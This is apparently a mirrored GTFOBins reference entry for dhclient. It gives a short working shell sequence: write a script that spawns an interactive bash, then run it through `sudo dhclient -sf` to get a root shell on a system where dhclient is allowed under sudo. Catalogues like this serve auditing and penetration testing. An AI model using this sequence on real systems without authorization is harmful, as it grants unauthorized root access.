mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-03 18:28:43 +01:00 
			
		
		
		
	
		
			
				
	
	
		
			13 lines
		
	
	
		
			330 B
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			13 lines
		
	
	
		
			330 B
		
	
	
	
		
			Markdown
		
	
	
	
	
	
---
 | 
						|
functions:
 | 
						|
  sudo:
 | 
						|
    - description: The below technique utilizies `dhclient`'s script file option (`-sf`) to execute arbitrary commands with `sudo`.
 | 
						|
      code: |
 | 
						|
        cat > /tmp/script.sh << EOF
 | 
						|
        #!/bin/bash
 | 
						|
        bash -i
 | 
						|
        EOF
 | 
						|
        chmod +x /tmp/script.sh
 | 
						|
        sudo dhclient -sf /tmp/script.sh
 | 
						|
---
 |